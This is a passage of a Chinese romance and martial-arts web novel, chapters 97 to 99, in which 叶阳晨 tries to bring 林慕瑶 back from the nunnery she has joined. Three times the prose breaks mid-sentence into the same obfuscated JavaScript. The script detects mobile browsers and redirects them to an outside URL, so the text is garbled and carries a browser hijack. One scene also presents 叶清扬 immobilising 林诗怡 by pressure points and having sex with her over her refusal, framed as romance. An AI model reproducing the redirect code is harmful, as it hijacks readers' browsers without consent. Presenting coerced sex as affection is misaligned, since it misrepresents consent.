林慕瑶选择来玉林庵出家,绝不是在任性、赌气、耍脾气,而是她在心灰意冷下做的无奈选择。只是有时理智和情感是两回事,她虽下定了决心,但仍做不到压下心中的多年感情。 林慕瑶心知自己与叶阳晨之间横着太多的障碍,今生再没可能相依相守。面对父母的阻挠,叶阳晨的道义,她做不到强求,就只能选择放手。想起过去种种,慕瑶甚至觉得自己今日的痛苦有点自作自受,当时的叶阳晨对她的感情是那样飞蛾扑火、不顾一切,是自己没有珍惜。 想着想着,林慕瑶再次湿润了眼眶,她不由得心里暗想:“怪不得师太不肯给自己剃度,想必师太也看出自己没有完全放下尘缘吧。可是放不下又能怎么样呢?没有结果的事情,放不下也要放下了。” 想到这些,慕瑶的心绞在一起,仍是那般痛不可当。 97. 第九十七章 认兄弟约至楚州城 另一边,叶阳晨先是去了西关道北边40里外的揽翠山,在那里没有找到林慕瑶后,三人又快马加鞭地赶往赤兰山。他们赶到赤兰山时已是夜阑,山脚下就只有那么一家农家客栈,三人也只好先住下来,想着第二日天一亮再上山寻人。 这一天一路奔波,三人都没有好好吃饭,所以刚走进客栈,叶阳晨便高声喊了一嗓子,“小二,你店里还有现成的吃的吗?”仅一嗓子,就把刚刚有些睡意的王猛和王龙两兄弟吵醒了。 店小二不断拿出店里的好酒和一些熟牛肉,三人吃了起来。之后,店掌柜走过来问三个人还有什么需要,林诗怡灵机一动问道:“掌柜的,今天有没有一个长得跟我有点像,且非常漂亮的女孩上了赤兰山?” 经这么一问,店掌柜还在回忆着,擦桌子的店小二连忙凑过来说道:“掌柜的,你忘记了,昨天有个天仙似的美女从咱们店前经过,就跟这位姑娘有几分相像。” “哦,对对,是有那么一个女孩。”店掌柜也恍然想了起来,今天的确有个女孩子来了赤兰山,还是被下午已经住在店里的两个男的陪同来的。 当时店小二眼睛都看直了,嘴里还念叨着,“要是我将来能娶个这样的女孩做媳妇,死都值了。”掌柜当时还在旁边调侃说:“你小子修十世,也没有那个福分。” 店小二承认自己是痴心妄想了,但是他从来没有见过这么惊艳绝色的姑娘。虽然林诗怡也是楚楚动人,但店小二觉得还是较下午的那个女子逊色不少。 乡村小店本来就不大,房间又不隔音,所以王猛他们两兄弟能很清楚听见外边在说什么。王猛和王龙确定外边的三个人口中的美女指的就是林慕瑶,只是他们还不能确定这几个人是来寻人的,还是来找麻烦的。 王猛暗自盘算,如果外边的人是不怀好意,自己一定要帮着林慕瑶把这几个麻烦解决掉。 王猛轻轻跳下床,然后轻脚走到门背后,竖起耳朵听着。仅仅是床与门的几步距离,而且王猛走的那几步路走得极慢,可即使这样,叶阳晨还是听见了脚步声。本来如果王猛正常在房间里走动,叶阳晨反而不会多心,毕竟这本来就是一家客栈,客栈里住了人也很正常。可对方用了轻功减轻脚步声,这反而令叶阳晨生疑。 叶阳晨看了一眼叶清扬,叶清扬微微点头,两兄弟之间的默契无人可比。林诗怡不会武功,自然没有发现任何异常,她看着叶阳晨问道:“阳晨哥,你说我姐会在玉林庵吗?” 听到外面的女孩喊出“阳晨”两个字,躲在门后王猛惊喜交加。 叶阳晨伸出食指,做出一个嘘声的动作。古灵精怪的林诗怡瞬间明白了什么,不再多言。叶阳晨用眼偷瞟着王猛和王龙住的那个房间,随时关注着动静。 叶清扬给哥哥打了个手势,在问哥哥要不要先动手。叶阳晨皱着眉一摆手,他还不能确定那个房间里的人是什么意图,他怕冒然出手万一造成误伤就不好了。清扬也不是冲动,他自有他的道理,他最是讨厌这种鬼鬼祟祟趴门偷听的,这种人多半非奸即盗。 正在这时,王猛突然推开门,从房间里面阔步走了出来。 叶阳晨下意识地将手轻轻放在剑柄上,他的眼睛则盯着王猛的两只手,生怕随时飞出暗器来,这是习武人的警觉性。 王猛走上前,立即恭谨叩拜行礼,王龙也跟在哥哥身后照做。 这回轮到叶阳晨惊讶了,但心里同样没有放松警惕,他怕对手是想麻痹自己,然后出其不意。叶阳晨试探问道:“两位兄台,这是何故啊?” 王猛拱拳问道:“恕我等冒昧,您是叶阳晨吗?” 叶阳晨想着诗怡刚刚称呼自己“阳晨哥”,想必被两人听到了,他也就没否认,“正是,可你们是何人?” 王猛如实道来:“阳晨哥,我叫王猛,人称“海底蛟龙”。这是我弟弟王龙,外号“浪中花”。我们两兄弟乃广黎人士,平日闯荡江湖,四海为家。今日遇到阳晨哥,若是您不嫌弃的话,望能收留我们兄弟二人进长风寨。”王猛早已过了弱冠之年,可出于对叶阳晨的尊敬和崇拜,他还是叫了一声哥。 叶阳晨上前搀扶,“好兄弟,快起来,我们坐下说。” 王猛王龙起身坐下来,叶阳晨又让店家上了一些酒菜。 叶阳晨这才继续说道:“不瞒两位兄弟,我现在不在泽清山了,而是在楚州前线。两位想必也听说了,时下边关紧急,若你们愿意,可跟我一起抵御外敌、从戎戍边。若不愿意,就只有等我从战场回来,到那时再与你们兄弟相聚了。” 王猛和王龙是个粗人,并不懂什么家国情怀,只是一想到能跟在叶阳晨身边赚点江湖名气,心里就乐开了花。 王猛拱拳直言道:“只要能跟在兄弟身边,去哪儿我们都愿意。” “那好,那我们就一起上战场。将来狼烟散尽,我们再回泽清山。” 刚刚见到叶阳晨,王猛和王龙光顾着高兴了,都忘记了跟叶阳晨说林慕瑶的事。王猛突然想起来,“对了,晨哥,我们今天遇到了慕瑶嫂子,然后我们护送她一起来了这里。只是嫂子不让我们兄弟跟着,她自己上了赤兰山。” 叶阳晨的眼睛里突然散发出惊喜的光,“真的?” “真的,千真万确,嫂子带着个血红色的狼牙吊坠,对吧?” 听到“血影”,叶阳晨知道不会错了,心里也漾满喜悦,“那你们怎么会遇见慕瑶?” “只是偶然。”没等王猛说话,旁边的王龙把话接过来。他们当然不敢说当时想调戏林慕瑶,这要是被叶阳晨知道了还得了? 好在叶阳晨没有深问,因为他现在的注意力没在这儿,他满心都在想明天上山见慕瑶的事。 五个人边吃边聊,王猛就把慕瑶来赤兰山的全过程又给叶阳晨讲了一遍。家丑不可外扬,叶阳晨并没有跟王猛两兄弟说林慕瑶为什么会来赤兰山,只说慕瑶是跟自己闹了点小别扭,才赌气出来散心了。 可能是一天路途奔波,众人聊到最后,林诗怡已经挎着叶清扬的胳膊,头靠在叶清扬的肩膀上睡着了。叶阳晨见此情形,也就让大家快去休息了。 那天散去的时候,叶阳晨交代王猛,明天就不用跟自己上山了,去楚州等自己就好。 既然叶阳晨这样说,王猛王龙也没强要求留下来陪叶阳晨一起上赤兰山,毕竟这是叶阳晨的家事,他们兄弟俩不好多管。 叶清扬刚把诗怡抱进房间,便听见外边响起雷声,他微微皱眉,索性躺下来睡在了诗怡的身旁。 翌日早上,林诗怡醒来,看着睡在自己身边的叶清扬,顿时翘起了嘴,狠狠地打了叶清扬。 叶清扬被打醒后不明所以,“你醒啦?怎么醒了就打人?” 林诗怡狠狠掐了下叶清扬的胳膊,“你怎么会睡在我的房间的?” 叶清扬解释:“昨夜打雷,我怕你会害怕,所以才留下陪你。” 诗怡想起来,自己半睡半醒中,好像是听到了雷声,然后还下意识地往叶清扬的怀里钻。想到这一幕幕,诗怡不禁脸红了起来。 诗怡嘟嘟着嘴,“哎呀,完蛋了,阳晨哥他们肯定知道你睡在我的房间了。” 清扬越听越糊涂,不禁眉毛一挑,“哥哥知道又怎么了?以前我们又不是没有过..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149397|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .” “那不一样的,真是头猪,我不跟你说了。”诗怡毕竟是个女孩子,封建礼教之下,在没正式成婚前,她不想让任何人知道自己和清扬的关系已经近到那种程度了。 叶清扬被诗怡数落得皱起眉头,不知该如何是好。 林诗怡见叶清扬一副愚钝的表情,就更加憋闷,片刻后,她咬着下唇,“那你昨晚有没有对我图谋不轨?”话一出口,诗怡就后悔了,她怪自己怎么没头没脑地问了这个问题,叶清扬这个笨脑瓜子指不定说出什么尴尬的话来。 “什么图谋不轨?你是说那个事?” 诗怡双颊绯红,低头不语。 清扬直言道:“我对你做过的图谋不轨之事还少吗?不过昨晚没有欺负你。” 清扬的话如此直白,令林诗怡的脸顷刻转红,心跳也陡然加快。 清扬见诗怡面若晚霞,不觉心生怜爱,随即他血气翻涌,不能自抑。清扬突然说道:“你倒是提醒我了。” 诗怡觉得清扬的眼神有些异样,“你说什么?你可不许动什么歪脑筋啊。” 清扬一翻身便将诗怡压在身下,“诗怡,我...我......” “你什么你,快起身,我们要起床了。” “诗怡,我有点想...我现在确实有了坏心思。” 诗怡知道清扬想的是什么,立即拒绝道:“不行。” 那次山洞练功后,两人便没再行过云雨之事。主要是之后两人少有那种合适的独处机会,清扬这方面愚笨,也就没有刻意强求。此刻他见诗怡如此娇俏可人,自然心生悸动。这么久积攒的情感,如潮水一样奔涌而来。冲动之下,清扬点住诗怡的穴位。 诗怡也感觉到自己浑身动弹不得,“你个坏蛋......”话未说完,她腰间的丝带已被解开,中衣和心衣也相继被褪去。诗怡红着脸道:“清扬,你混蛋,不许欺负我。” 清扬情难自抑,完全将诗怡的话当作耳旁风。 随着清扬“得逞”了,诗怡才咬了咬唇角,并难为情地慢慢闭上了眼睛。 风停雨霁,诗怡的香肩蒙上一层氤氲光泽,她觉得又有些困,于是就又依偎在清扬的怀里睡着了。 两人再醒来时,已是正午。诗怡伏在清扬的身上,浑身酸软,她气得用白嫩的拳头捶打着清扬的胸口,“这次可被你害惨了,你看都几时了?” 清扬看了看窗外,也觉得时间有点晚了,但他还是一丝不慌,“几时怎么了?我了解哥哥的,他肯定天没亮就上山了。所以就算我们早点起来,还是没意义的。” 果然,待两人穿好衣服走出房间,发现叶阳晨已经不在客栈里。客栈的店家说,天刚拂晓,叶阳晨就启程上山了。 雨后的山路,雾气蒙蒙,空气也格外清新,只是路有些难走。练武之人腿脚自然非常快,当日下午,叶阳晨就到了玉林庵。 毕竟是女僧修行居所,叶阳晨没有横冲直撞往里闯,而是先驻足在玉林庵门口。他喊了几声,里面没人应答,这才迈步走进庵院。 绕过门口的石雕影壁,叶阳晨来到玉林庵的院子。四顾看了看,只一眼,他就看见一个熟悉的身影。一个女尼正安静地扫着院子,只是她带发修行,头后挽了个发髻,虽然身穿僧袍,又不施粉黛,却难掩清丽之姿。 叶阳晨徐徐上前几步,女尼这才注意到他,神色也随之有着微不可察的变化。 两人目光交汇的刹那,恍如隔世。女尼垂下眉眼,叶阳晨先开口道:“慕瑶……” 林慕瑶回过神,继续低下头,“施主认错人了吧!这里没有慕瑶,只有依兰。” 98. 第九十八章 慕瑶心凉带发修行 叶阳晨痛彻心扉,“瑶瑶,我错了,你跟我回去吧!” “你何时错过呢?从小到大,你想做什么就做什么,我的生活你也是想来就来,想走就走,在认识你之前我没见过比你霸道的人,在遇见你之后也不曾遇到。”说完,林慕瑶并不想跟叶阳晨再有任何纠缠,转头就走。 叶阳晨连忙跑过去拦在林慕瑶的面前,“瑶瑶,我不会再跟你分开,我可以发誓以后你说什么就是什么,我都听你的,好不好?” 听到叶阳晨这么说,林慕瑶感到心神烦乱,“这位施主,请让开,莫要打扰出家人清修!” 叶阳晨被林慕瑶冷漠和怨恨的眼神吓坏了,可以说他从来没有见过这样的林慕瑶。叶阳晨忆起,即使是自己九岁那年把她抢上山,慕瑶都不曾那样怨恨自己。 趁叶阳晨怔在那里,慕瑶快步离开。 林慕瑶走进了自己的禅房,叶阳晨依旧呆呆站在院子里,不知如何是好。为了不打扰佛家清修,叶阳晨只好退到玉林庵大门外,跪在那里。 夜里,叶清扬和林诗怡也赶来了。见叶阳晨跪在外边,两人便猜出是林慕瑶不肯见他,而他又不肯离开。 林诗怡走到叶阳晨身旁,温声道:“阳晨哥,你不要那么死心眼,有什么事你先起身再说,你这样一直跪着也不是办法。” 叶阳晨犹如没有听见一般,身体纹丝不动。来之前,他就有心理准备,这一次恐怕没有那么容易把慕瑶带走了,所以叶阳晨心里虽失落,但他不怨慕瑶。 见哥哥这样,叶清扬无奈地摇了摇头。他也知道这种感情的事也没办法劝,干脆纵身跳上寺庙旁边最高的树上,然后双手交叉抱于胸前斜躺在那里。 林诗怡劝不动叶阳晨,心里已经很窝火,她不经意间看到叶清扬待在树上,气得跺脚喊道:“你上去干什么?快点下来劝劝啊!” 叶清扬吐了口闷气,“劝我哥有什么用?你还是去劝劝嫂子吧,我最不会劝人了。” 诗怡扁着嘴,不知该如何是好。现在庵门已经关了,她又不想敲门,想着即使要找姐姐,也只能等到明早了。 第二天清晨,林诗怡走进尼姑庵,她想亲自跟姐姐沟通一下。此时林慕瑶正在大殿里跟着师姐们一起在诵经礼佛,林诗怡只有等在殿外。 良久,早课结束,林慕瑶从大殿里走出来,令林诗怡惊讶的是,姐姐如没有看到自己一般,直接从她身旁走了过去。林慕瑶并不是不想理自己的妹妹,只是她知道林诗怡是来劝自己回去的,再说下去也无益。 林诗怡失落地喊了声:“姐……” 林慕瑶停住了脚步,可依然没有转身回头,语气淡淡道:“日后好好照顾父母,替我尽孝,还有以后不要再来这里了。” “姐,有什么事不能好好聊聊呢?” 林慕瑶没有再说话,而是直接离开了。 林诗怡失望地从玉林庵走出来,叶清扬瞥了一眼,就知道诗怡也没劝动嫂子。林诗怡清楚叶阳晨和姐姐的感情,也不再试着劝说跪在那里的叶阳晨。旁观者清,诗怡看得明白,姐姐与叶阳晨肯定是分不开的,只是他们两人爱得越深,难免伤得越深罢了。 林诗怡觉得全部人耗在这里也不是办法,于是平静地对叶阳晨说道:“晨哥,看样子姐姐短时间也不会下山,我想还是先回家去报个信,我的父母肯定在家等得心急,我就跟他们说姐姐已经找到了,也让他们放心。” 这次叶阳晨开口了,“也好!你路上多加小心。” 林诗怡看了一眼还在树上的叶清扬,带着闷气喊道:“快下来了,我们走了。” “不,我要陪哥哥!” 林诗怡心里感叹着,心想自己还真是喜欢上这个“一根筋”。她眼睛晃动,赌气道:“好吧,那就让我自己走,路上遇到虎豹豺狼,地痞流氓,你都不要管我了。” 听诗怡这么说,叶清扬微微皱了一下眉,这才从树上跳了下来。他走到叶阳晨跟前,“哥,你好好照顾自己,我们很快回来。”多余的话没有,他和林诗怡下了山。 此刻,叶阳晨什么心思想法都没有了,他只是打定主意,“不管慕瑶要做什么,他都陪到底。慕瑶不是要出家吗?大不了自己就去做和尚。” 叶阳晨跪了这么久,自然惊动了庵里的尼姑,她们都知道外边跪了一个男子,也猜到这个男子应该跟林慕瑶有感情纠葛。 傍晚的时候,庵里的一个尼姑去给叶阳晨送了碗斋饭。叶阳晨温声道了句“谢谢”,但并没有动碗里的饭菜。 起初,慕瑶还能做到“心硬”,可叶阳晨在外面跪得时间长了,她就忍不住心疼了。只是一想到如果心软了,就又要回到那种爱而不得的境地,她就无法轻易原谅叶阳晨。与爱而不得相比,慕瑶更宁愿承受这种相忘于江湖的痛苦。 那天夜里,山里下了很大的雨,细密的雨声不绝于耳。跪在庵门外的叶阳晨,浑身淋透,瑟瑟发冷,可他却觉得心里是暖的。因为在叶阳晨看来,虽然与爱人隔着庵门,但也算是自己陪在慕瑶身边了。 山里的夜格外宁静,只听得见雨打在叶子上的声音,此刻叶阳晨的心格外安宁。这阵子,叶阳晨承受了太多别人的非议和内心的煎熬,而在这个地方再也没有人逼着他与慕瑶分开了,他终于可以轻松地喘口气了。 回想这些年,叶阳晨感觉自己与慕瑶感情就像在闯关,闯过了一关,又有新的一关,好像总没个尽头。但即使是此时此刻,叶阳晨也没有完全失去信心,他坚信只要这次苦尽甘来,两人就不会再分开了。 玉林庵内,林慕瑶担心叶阳晨淋雨后生病,也是心神不宁。期间有好几次,她都差点忍不住出去看看叶阳晨,哪怕只是为他送把伞。她也气自己没出息,都到了这个时候,她还那么惦念叶阳晨。慕瑶甚至一遍又一遍劝自己放下执念,毕竟两人也没什么未来了,可她就是控制不住自己的心,也做不到不去想叶阳晨。慕瑶坐在禅房的床榻上,双手抱着膝盖望着窗外出神,竟一夜没有合眼。 第三日,叶阳晨依旧跪在那里,依然粒米未进,滴水不沾。林慕瑶知道以叶阳晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149398|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的性子是不会轻易离开的,但她也同样没有退路,只能悄悄地隐藏着心里的痛苦。 叶阳晨即使武功底子再好,这样连续跪了两天两夜,又淋了雨,身体也已经有些吃不消了。除眼窝深陷外,更是双唇发白,没有任何血色。 第三天傍晚,玉林庵的住持静心走出庵门,看着叶阳晨劝慰道:“年轻人,你这又何必呢?缘分之事皆有定数,是不能强求的。” 叶阳晨缓缓抬头看向静心师太,嘴唇颤抖,声音沙哑,“请师太为我指点迷津,大恩永世不忘。” 静心没有多言,只叹了口气便转身欲走。 这时,叶阳晨想起了什么,突然沉声道:“姑姑……” 静心转过身来,脸上微微讶然,“年轻人,你刚刚叫我什么?” 叶阳晨语气有些虚弱,“我叫你…姑姑,我是…毒仙的…关门弟子……”出于对师父的尊重,叶阳晨并没有直呼温狐的大名。 师太眼神惊讶,“你是小晨?” “正是我!” 师太微微露出一丝喜悦,“哥哥写信经常提起你,你怎么不早说?” 那也是很多年前,温狐跟叶阳晨提过玉林庵,说自己的亲妹妹温情是那里的住持。起初,叶阳晨都没想起来这里就是师父妹妹修行的地方。也是这两天他跪在庵门口,抬头就看到“玉林庵”这三个字,才不知不觉间想起师父说过的话。 叶阳晨看到静心师太的第一眼,就发现静心的眉宇间跟师父有几分相似,更是确认无疑静心师太就是温孤的妹妹。只不过温孤曾说过,说他的妹妹清修不喜欢被打扰,就连他们兄妹之间也好久没见了,所以叶阳晨没有第一时间主动去相见相认。要不是到了山穷水尽走投无路的地步,叶阳晨还是不会在静心师太面前说出自己是温孤的徒弟。 静心经常能在哥哥来信的字里行间,感觉到温孤对这个徒弟的偏爱。可能是爱屋及乌的缘故吧,静心一想起叶阳晨在这里跪了三天了,也不由得有些心疼,于是叹了口气说道:“小晨,听姑姑一句话。花开花谢由卿念,云聚云散任君恋,思慕遥相见,咫尺未曾远。” 叶阳晨不解,“姑姑,我不是特别明白你的话!” 静心浅笑,“你接下来会明白的,我只告诉你,勿不信缘,终遂汝愿!”说完,静心转身进了玉林庵。 听了师太的话,叶阳晨的心情如拨云见日。他坚信静心师太不会打妄语,他更坚信自己和林慕瑶是有那份缘的,不然上天为什么让他们相逢相遇而后又心心相印,又为什么有那么多困难横在两人中间最终总会柳暗花明,难道就是为了让他们最后错过和分开?叶阳晨不相信天上的月老和红娘会做这么无聊的事,他更相信的是那些刻骨铭心相爱的两人最终都会有情人终成眷属。 自从来到赤兰山后,叶阳晨就下定决心了,往后余生,际遇起伏,他都要不离不弃地伴随林慕瑶左右,哪怕受人指责,哪怕要做个“不孝子”,仍痴心不改。只是刚才师太的话给了叶阳晨更多的信心,令他更加坚定这一切罢了。 99. 第九十九章 静心进了庵院后,直接去了慕瑶的禅房。此时,林慕瑶正在自己的房间发呆,突然有敲门声,她这才回过神来。 随之住持走了进来,林慕瑶双手合十道:“师父……” 静心语气温淡,“依兰,这里的生活可还适应?” “谢师父,一切安好!” 静心继续问道:“庵门外的那个男子一直跪着,他是你在俗世的情郎?” 林慕瑶不语,只是抿着唇轻轻点着头。 静心淡淡劝慰:“去见见吧,即使缘分已尽,也要说清楚,方不留遗憾。” 林慕瑶依旧不语,静心没有多言,转身慢步走了出去。听了静心的话,林慕瑶内心天人交战,最后还是整理缁衣走了出去。也许慕瑶本就想出去见见,只是静心给了她一个理由罢了。慕瑶告诉自己,她只是去告别的,做一个正式的告别,除此之外没有其他。 叶阳晨跪在那里,还未抬头见人,他已能从脚步声判断出是林慕瑶来了。叶阳晨心中燃起了一丝希望,既然慕瑶愿意见自己,说明一切还有转寰的余地。 叶阳晨立即抬头展颜,看着自己的爱人朝自己走来。 林慕瑶走近了说道:“你回去吧。” “瑶儿,跟我回去,从此之后我们再不分开,你再信我一次,再给我最后一次机会。” 慕瑶心寒道:“太迟了,一个言而无信的人也不配得到别人的信任。” “瑶儿,你真的相信我,我没有言而无信,我把所有都解释给你听。” 慕瑶语气冷淡,“我不想听你解释,你还是走吧,我不怨你,更不恨你,只叹我们没有缘分,从此之后,我们不必再见。” 叶阳晨心如刀割,“慕瑶,你是对我没信心?还是对我们的感情没信心?” “我都没信心了,这次你回来就和以前不一样了。从前你是绝不会有一丝一毫放弃我的念头的。” 叶阳晨解释着,“慕瑶,我想你是知道的,我叶阳晨从未背叛我们的感情。只是当时我刚刚知道了自己的身世,脑子里难免混乱,加之每个人都告诉我要遵从父母的遗命,孤立无援下我才……” 林慕瑶心绪无法平静,“我不要听你说,你个骗子,你个“伪君子”,满嘴责任道义,就是不能保护自己的女人。”慕瑶从来没有这样骂过叶阳晨,她是太气了,才会有些口不择言。 “瑶儿,你讲点道理好不好?” 林慕瑶心痛难捱,泪水盈眶,“我为什么要讲道理?你当初把我抢上山的时候,你讲道理了吗?” 被慕瑶这么一质问,叶阳晨无言以对,气氛一下安静下来。 半晌,叶阳晨充满无力感,“慕瑶,即使我们没有缘分,我也希望你能快乐无忧地生活在世上,而不是在这里。” “我不用你好心,这里怎么了?这里空气清新,树木成荫,我的心情会更平和,我觉得一切都好。” 以往慕瑶都是温婉端庄、娴静淡然的,叶阳晨总感觉那样的她,身上少了点活色生香的光彩。叶阳晨还是第一次见到慕瑶这种娇气任性小女孩的一面,不由得眼前一亮,嘴角也跟着微微上扬。而且看到慕瑶这么可爱,他在那一瞬间忘记两人在谈论着沉重的话题,而是生出一种错觉,觉得慕瑶不是在和自己生气,而是在跟自己撒娇。 见叶阳晨不悲反喜,慕瑶心里更气,“叶阳晨,你个混蛋,人家在跟你说正事,你却没个正经。”说完,慕瑶转身就要走。 叶阳晨一把攥住慕瑶的胳膊,“你别误会,我没别的意思,只是我还是第一次看到你这么可爱的一面,有点情不自禁。” “我不要理你,你出言轻浮,又肉麻。” “真的,你生起气来真的挺可爱的,我好喜欢。” 慕瑶嘟嘟着嘴,“真是没见过像你这样没皮没脸的。” 决定出来见叶阳晨前,慕瑶就打定主意,见到他一定要冷淡加冷漠。但是不知怎么的,一看到他,慕瑶就乱了方寸。她也会像其它女孩子一样,在自己的心上人面前撒娇任性,甚至是无端发脾气,只因她潜意识中还是希望被心爱之人宠爱着保护着。 今天不管林慕瑶怎么“骂”自己,叶阳晨都没有怨言,也不反驳。只是有一条,他不想“死”得那么冤,总要把心里话都说出来。 刚刚叶阳晨就想解释,只是慕瑶不给他说话的机会,此时他再度敛起笑容,正色道:“瑶儿,你知道的,那晚我是准备带你远走高飞的。只是你的父亲发现了我们,才没有走成的。被林伯伯发现这事发生得太突然,我一点心里准备都没有。当时林伯伯那么激动,你让我怎么办?难道你想让我当面顶撞你父亲?还是让我在众目睽睽下带你走呢?如果是你,你会怎么办?” 慕瑶沉默了,她知道叶阳晨说的这些也都是实情。 叶阳晨继续说着:“瑶儿,如果换做任何人,我都可以不管不顾。可对方是你的父亲,是我未来的岳丈,将来更是我的家人,我不该尊重他吗?我可以当时就直接顶撞他违逆他吗?” 一向明理的林慕瑶,也知道叶阳晨所言所想是有道理的,不觉抿着嘴唇,不知该怎么反驳叶阳晨的话了。 叶阳晨见慕瑶脸色稍缓和,就知她心里有些松动,于是继续补充说道:“那夜我跪在我亲爹的牌位前想了一夜,我是想明白了的。我要跟林伯伯争取,我要说服他把你许给我,我不会放弃。从前我们都太急于求成了,听到家里反对就失望失落。现在我才明白这是一场持久战,如果他不同意,我就厚着脸皮一直说,直到说通他为止。我本想着天亮后把我的想法跟你说的,或者再听听你的想法,可你机会都不给我,连夜就离家出走了。” “我可以相信你说的话吗?”慕瑶犹如惊弓之鸟,她也没办法思考叶阳晨所说是否合理现实。 “你当然要相信我啊。” 林慕瑶强忍着内心波动,但是眼泪还是不争气地夺眶而出,“我很小的时候,你就像强盗一样拉着我拜了天地。那时候的我并不太清楚那意味着什么,可随着我们都长大了,我才察觉到那是死生契阔与子成说的感情。” “连我都说不清楚自己是什么时候对你动了真情的,而后你的一切再也无法从我的生命里抹去了。当我讨厌你的时候,你偏偏对我死缠烂打。而当我心里真的有了你,你却让我把你从心中连根拔去,你怎么那么坏啊?你不觉得你很残忍吗?” 林慕瑶骨子里很传统,玲珑印已在身,她便认定自己生生世世都是叶阳晨的人,怎么都不肯另许他人了。林慕瑶外表看着温婉柔顺,实则是性情刚烈的女孩,只要她心里认定一个人,便会至死不渝。 慕瑶的一番表白令叶阳晨百口莫辩,他发现自己犯了一个错误,原来他低估了慕瑶对自己的感情。可能是儿时慕瑶讨厌自己的样子在叶阳晨心里根深蒂固,乃至长大后慕瑶对自己真的产生了爱意,叶阳晨始终觉得慕瑶对自己的感情是被动的。 可是这次的事发生后,叶阳晨才看清,这么多年过去后,慕瑶对自己的感情今非昔比,如今的慕瑶为了跟自己在一起已下了最大的决心,她可以不顾儿时的婚约,不顾父母的反对。叶阳晨很后悔,如果他能早一点和慕瑶互诉衷肠的话,那么事情的发展可能不会到今天这样的地步。 儿时,叶阳晨喜欢林慕瑶,就只是觉得她是自己见过的最可爱美丽的女孩。可是时光过隙,叶阳晨不再只爱慕慕瑶的绝世容颜,而是更欣赏她的气质、性格和品德,他越加发现慕瑶是世间最不平凡的女子。在叶阳晨眼中,慕瑶她绝顶聪颖,敢爱敢恨,还崇尚独立和自由,简直就是完美女孩的化身。日子越久,叶阳晨的这种感觉就越强烈。 片刻后,叶阳晨真诚说道:“瑶瑶,这次真的是个误会,你别生我的气了,以后绝对不会再让你伤心了。” 林慕瑶心痛难当,她很想答应叶阳晨,但又怕进入下一个痛苦的轮回。很多事情不会简单地随着美好的愿望去发展,改变结果的因素是那么多,毕竟每个人都做不到完全不顾虑任何人的想法而活。如果她就这样跟着叶阳晨回去,连她自己都不知道家里会不会再掀起更大的风波。而风波再次来临时,又将如何平息呢? 内心挣扎再三,慕瑶艰难说道:“你还是…走吧,我不想跟你回去了,我也受够了那种爱而不得的痛苦。不如我们都放过彼此,成全彼此,相濡以沫不如相忘于江湖。” 叶阳晨刚要开口,林慕瑶打断道:“你就不要再逼我了,好吗?”说完,她的眼泪簌簌落下。 本来叶阳晨还有很多话要与慕瑶说,可见慕瑶那么果决,又那么难过伤心,叶阳晨就只能把剩下的心里话都咽了下去。 叶阳晨放佛听到自己的心在滴血,滴滴答答地流个不停。他甚至不敢说话,生怕话一出口,堂堂男子汉也会哭出来。半晌,叶阳晨才哽咽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149399|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出四个字,“我…知…道…了。” 林慕瑶转身离开,转过身的刹那,她再次泪如泉涌。慕瑶知道身后的叶阳晨也一定伤痛着,但是她不敢再回头。 慕瑶走后,一个人的叶阳晨终于不再隐忍着,一大颗泪珠砸在地上,不仅仅是伤心,还有懊悔和绝望。 叶阳晨的膝盖早已失去知觉了,他强撑着身体站起来,缓缓下了山。走到伤情池,叶阳晨没有继续走下山的路,而是取道上了叶归寺。 从出生那一刻起,叶阳晨的人生经历虽然曲折,但在外人眼中,他一直耀眼无限、光芒万丈。可此刻的他,确是从未有的狼狈,眼神里尽是伤感和失落。 叶阳晨来到叶归寺,并没有告诉方丈自己的名字和身份。他只重复着一句话,说自己要剃度。叶阳晨跪在玉林庵门口时就决定了,如果不能劝说慕瑶回心转意的话,最坏的结局,就是他陪着林慕瑶出家罢了。 叶归寺德明方丈见叶阳晨丰神俊逸、器宇不凡,便知他绝非池中之物。方丈眯眼一笑,“剃度之事不急,可改日再作商议。”之后方丈让徒弟准备些斋饭,并留叶阳晨住在庙里。 翌日,叶阳晨睡到傍晚,醒来后精神和体力基本恢复了,只是跪了两天两夜,膝盖还有些疼。叶阳晨走进德明方丈禅房,恭敬行礼,“方丈,再次麻烦您,请为我剃度。” 方丈闭着眼睛,盘着念珠问道:“敢问公子尊姓大名?” “鄙人‘陈阳业’。”叶阳晨在临昌保卫战中,力挽狂澜解临都之围,从而名扬四海。叶阳晨之所以不说真实名字,就为避免节外生枝。而且他现在还是朝廷命官,如果让方丈知道自己的身份,定不会那么痛快同意自己剃度。 德明方丈睁开眼微笑着,“公子没有说实话,出家人不打妄语,您还未剃度,就破了戒律,说明公子与我佛无缘。” 